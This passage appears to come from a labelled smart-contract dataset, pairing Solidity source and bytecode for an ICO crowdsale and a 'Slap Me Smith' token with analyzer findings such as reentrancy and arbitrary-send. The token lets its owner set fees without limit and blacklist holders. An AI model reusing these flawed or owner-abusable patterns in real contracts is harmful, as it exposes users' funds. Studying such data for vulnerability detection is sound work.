0205490915061165390826115bf565b30600090815260026020526040902055505050565b600654611675908361157d565b60065560075461168590826115bf565b6007555050565b60008080806116a0606461064d89896110ff565b905060006116b3606461064d8a896110ff565b905060006116cb826116c58b8661157d565b9061157d565b9992985090965090945050505050565b60008080806116ea88866110ff565b905060006116f888876110ff565b9050600061170688886110ff565b90506000611718826116c5868661157d565b939b939a50919850919650505050505050565b803561173681611b30565b919050565b60006020828403121561174d57600080fd5b81356110f881611b30565b60006020828403121561176a57600080fd5b81516110f881611b30565b6000806040838503121561178857600080fd5b823561179381611b30565b915060208301356117a381611b30565b809150509250929050565b6000806000606084860312156117c357600080fd5b83356117ce81611b30565b925060208401356117de81611b30565b929592945050506040919091013590565b6000806040838503121561180257600080fd5b823561180d81611b30565b946020939093013593505050565b6000602080838503121561182e57600080fd5b823567ffffffffffffffff8082111561184657600080fd5b818501915085601f83011261185a57600080fd5b81358181111561186c5761186c611b1a565b8060051b604051601f19603f8301168101818110858211171561189157611891611b1a565b604052828152858101935084860182860187018a10156118b057600080fd5b600095505b838610156118da576118c68161172b565b8552600195909501949386019386016118b5565b5098975050505050505050565b6000602082840312156118f957600080fd5b81356110f881611b45565b60006020828403121561191657600080fd5b81516110f881611b45565b60006020828403121561193357600080fd5b5035919050565b60008060006060848603121561194f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561199557858101830151858201604001528201611979565b818111156119a7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a425784516001600160a01b031683529383019391830191600101611a1d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7657611a76611aee565b500190565b600082611a9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ab757611ab7611aee565b500290565b600082821015611ace57611ace611aee565b500390565b6000600019821415611ae757611ae7611aee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048857600080fd5b801515811461048857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6813a47138fff5b7d38d62439098a2c0013be1d8624c33da903606772224d9964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,436
0x5087d28378b84a20261e24a85f6a73c1ed9a5b50
pragma solidity ^0.4.13; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract GlobalBusinessSystemToken is MintableToken { string public constant name = "Global Business System"; string public constant symbol = "GBT"; uint32 public constant decimals = 18; } contract GlobalBusinessSystem is Ownable { using SafeMath for uint; GlobalBusinessSystemToken public token = new GlobalBusinessSystemToken(); uint start; uint period; uint period1; address multisig; uint hardcap; uint rate; uint restrictedPercent; uint minValue; uint maxValue; address restricted; function GlobalBusinessSystem() { multisig = 0x1a74Fa96a1BaC3C2AF3F31058F02b0471BFe71f4; hardcap = 1000 ether; rate = 10000000000000000000000; start = 1503658800; period = 30; period1 = 7; //minValue = 0.01; maxValue = 200; } modifier saleIsOn(){ require(now < start + (period * 1 days)); _; } modifier isUnderHardCap() { require(multisig.balance <= hardcap); _; } modifier isMinMax() { require(msg.value*100>=1 && msg.value<=maxValue); _; } function createTokens() saleIsOn isUnderHardCap payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start + (period1 * 1 days)) { bonusTokens = tokens.div(5); //20% } tokens += bonusTokens; token.mint(msg.sender, tokens); } function finishMinting() public onlyOwner { token.finishMinting(); } function() external payable { createTokens(); } }
0x6060604052361561006b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637d64bcb4146100775780638da5cb5b1461008c578063b4427263146100e1578063f2fde38b146100eb578063fc0c546a14610124575b5b610074610179565b5b005b341561008257600080fd5b61008a610395565b005b341561009757600080fd5b61009f61049e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100e9610179565b005b34156100f657600080fd5b610122600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104c3565b005b341561012f57600080fd5b61013761059f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806201518060035402600254014210151561019557600080fd5b600654600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631111515156101df57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561024157600080fd5b610270670de0b6b3a7640000610262346007546105c590919063ffffffff16565b6105f990919063ffffffff16565b9150600090506201518060045402600254014210156102a05761029d6005836105f990919063ffffffff16565b90505b8082019150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561037257600080fd5b6102c65a03f1151561038357600080fd5b50505060405180519050505b5b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103f057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561047e57600080fd5b6102c65a03f1151561048f57600080fd5b50505060405180519050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561051e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561055a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806105e657508284828115156105e357fe5b04145b15156105ee57fe5b8091505b5092915050565b600080828481151561060757fe5b0490508091505b50929150505600a165627a7a723058205c0b721a3e5874507c33db2f8482044a9c71f7758ebeab18240613e55cf56d780029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,437
0xf32dadc4f3eb42f1ffb15ccb5821572bedd66ebe
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /* SLAP ME SMITH Telegram: https://t.me/slapmesmith Twitter: https://twitter.com/slapmesmith */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SLAPMESMITH is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Slap Me Smith";////////////////////////// string private constant _symbol = "SMS";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 12;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xFF57bc8B86a14625B83FB31dEf60259A5847384a);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xFF57bc8B86a14625B83FB31dEf60259A5847384a);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047957600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c0a6d8c2e0409aca40a6dad2e8d609b1b60208201525b6040516102329190611c12565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a3e565b610671565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50662386f26fc100005b604051908152602001610232565b3480156102d357600080fd5b5061025b6102e23660046119fe565b610688565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610232565b34801561032557600080fd5b5060155461028b906001600160a01b031681565b34801561034557600080fd5b506101f161035436600461198e565b6106f1565b34801561036557600080fd5b506101f1610374366004611baf565b61073c565b34801561038557600080fd5b506101f1610784565b34801561039a57600080fd5b506102b96103a936600461198e565b6107cf565b3480156103ba57600080fd5b506101f16107f1565b3480156103cf57600080fd5b506101f16103de366004611bc9565b610865565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b031661028b565b34801561042357600080fd5b506101f1610432366004611baf565b610894565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b50604080518082019091526003815262534d5360e81b6020820152610225565b34801561048557600080fd5b506101f1610494366004611bc9565b6108dc565b3480156104a557600080fd5b506101f16104b4366004611be1565b61090b565b3480156104c557600080fd5b5061025b6104d4366004611a3e565b610949565b3480156104e557600080fd5b5061025b6104f436600461198e565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610956565b34801561052a57600080fd5b506101f1610539366004611a69565b6109aa565b34801561054a57600080fd5b506102b96105593660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611bc9565b610a59565b3480156105b057600080fd5b506101f16105bf36600461198e565b610a88565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c65565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d78565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b957506013546001600160a01b0316336001600160a01b0316145b6107c257600080fd5b476107cc8161120c565b50565b6001600160a01b03811660009081526002602052604081205461068290611291565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016105ee90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088f5760405162461bcd60e51b81526004016105ee90611c65565b601655565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016105ee90611c65565b601855565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105ee90611c65565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b0316148061098b57506013546001600160a01b0316336001600160a01b0316145b61099457600080fd5b600061099f306107cf565b90506107cc81611315565b6000546001600160a01b031633146109d45760405162461bcd60e51b81526004016105ee90611c65565b60005b82811015610a53578160056000868685818110610a0457634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a19919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4b81611d78565b9150506109d7565b50505050565b6000546001600160a01b03163314610a835760405162461bcd60e51b81526004016105ee90611c65565b601755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b038116610b175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004